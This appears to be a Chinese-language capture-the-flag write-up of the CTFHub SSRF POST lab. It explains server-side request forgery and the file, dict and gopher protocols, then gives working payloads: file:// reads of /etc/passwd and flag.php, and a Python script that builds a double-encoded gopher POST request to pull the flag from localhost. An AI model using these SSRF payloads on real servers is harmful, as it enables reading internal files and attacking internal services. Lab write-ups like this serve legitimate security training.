CTFHub_Web_SSRF_POST
首先,简单来了解一下SSRF
-
SSRF(server-side request forgery,服务端请求伪造),是一种由攻击者构造形 成由服务器发起请求的一个漏洞。让服务器去请求通常请求不到的东西。
一般用来在外网探测或攻击内网服务。SSRF漏洞形成的原因多事服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等重要参数进行过滤和限制,从而导致攻击者可以自由构造参数,而发起预期外的请求
-
漏洞成因
-
相关函数
- file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
- fsockopen():打开一个网络连接或者一个Unix 套接字连接
- curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
-
相关协议
-
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
ssrf.php?url=file:///etc/passwd ssrf.php?url=file:///var/www/html/flag.php
-
http/s协议:探测内网主机存活
-
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
-
gopher协议(攻击内网服务的万金油):gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
注意:
- gopher的默认端口是70如果发起POST请求
- 回车换行需要使用
%0D%0A
来代替%0A
如果多个参数 - 参数之间的&也需要进行URL编码
使用方式:
-
构造HTTP GET/POST请求消息
-
对请求消息进行URL编码
-
将编码后的字符串中%0A替换为%0D%0A
-
将最终的字符串再进行一次URL编码
-
拼接协议头、请求地址
-
Post 请求
首先打开靶机
页面没有任何信息,查看源码,发现也是空白
通过GET传参直接拼接?url=127.0.0.1/flag.php
,访问后页面回显出来一个输入框
查看源码
根据提示,将key的值复制到输入框
查看回显,得到提示:只允许从127.0.0.1访问
尝试通过file协议读取flag.php和index.php
构造?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
构造:?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($REQUEST['url'])){
header("Location: /?url=");
exit;
}
$ch = curl_init();
//初始化一次curl对话,ch返回curl句柄
//curl_setopt为 cURL 会话句柄设置选项。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
//curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0);
//启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
// 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址。
curl_exec($ch);
//执行
curl_close($ch);
一个比较好的思路:目前已知flag.php含有奇怪字符key,index.php能够接受url传参,并利用curl功能访问url传参的内容。那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包里是flag.php的key。
我们需要构造:/?url=127.0.0.1:80/index.php?url=(利用gopher协议传入post请求)
构造gopher协议需要的post请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=065a8ca0a616dc5981333d9f091a7fb2
注意:在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。
在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。
所以我们需要对构造的请求包进行两次 URL编码
在第一次编码后的数据中,将%0A
全部手动替换为%0D%0A
。因为 Gopher协议包含的请求数据包中,可能包含有=
、&
等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%
后的字节当做普通字节。
替换完成后,再对URL进行第二次编码
其实可以直接用脚本
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=065a8ca0a616dc5981333d9f091a7fb2
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 因为是GET请求所以要进行两次url编码
- urllib.request 发送http请求
- urllib.error 处理请求过程中,出现的异常
- urllib.parse 解析url
- urllib.robotparser 解析robots.txt 文件
解析脚本得到:
构造?url=gopher%3A//127.0.0.1%3A80/_%250D%250A%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D065a8ca0a616dc5981333d9f091a7fb2%250D%250A%250D%250A%250D%250A
拿到flag